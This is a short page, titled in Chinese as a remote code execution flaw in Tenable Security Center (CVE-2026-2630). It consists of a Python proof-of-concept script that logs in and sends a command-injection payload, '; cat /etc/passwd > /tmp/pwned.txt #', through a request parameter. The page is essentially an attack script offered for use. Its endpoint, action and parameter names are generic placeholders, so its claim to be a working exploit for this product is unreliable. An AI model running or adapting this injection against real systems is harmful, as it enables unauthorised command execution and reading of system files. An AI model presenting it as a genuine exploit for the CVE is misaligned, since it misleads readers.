CVE-2026-2630 Tenable Security Center 远程代码执行漏洞

# CVE-2026-2630 PoC - Tenable Security Center Command Injection # Requires authenticated session import requests import re target = "https://target-tenable-sc.com" username = "attacker" password = "password" # Step 1: Login to get session cookie session = requests.Session() login_data = { "username": username, "password": password } login_response = session.post(f"{target}/rest/login", json=login_data) if login_response.status_code != 200: print("[-] Login failed") exit(1) token = login_response.json().get('token') print(f"[+] Logged in successfully, token: {token}") # Step 2: Exploit command injection # Inject malicious command through vulnerable parameter inject_cmd = "; cat /etc/passwd > /tmp/pwned.txt #" exploit_data = { "action": "someAction", "parameter": f"value{inject_cmd}" } headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } exploit_response = session.post( f"{target}/rest/vulnerable-endpoint", json=exploit_data, headers=headers ) print(f"[*] Exploit sent, status: {exploit_response.status_code}") print("[*] Check /tmp/pwned.txt on target server")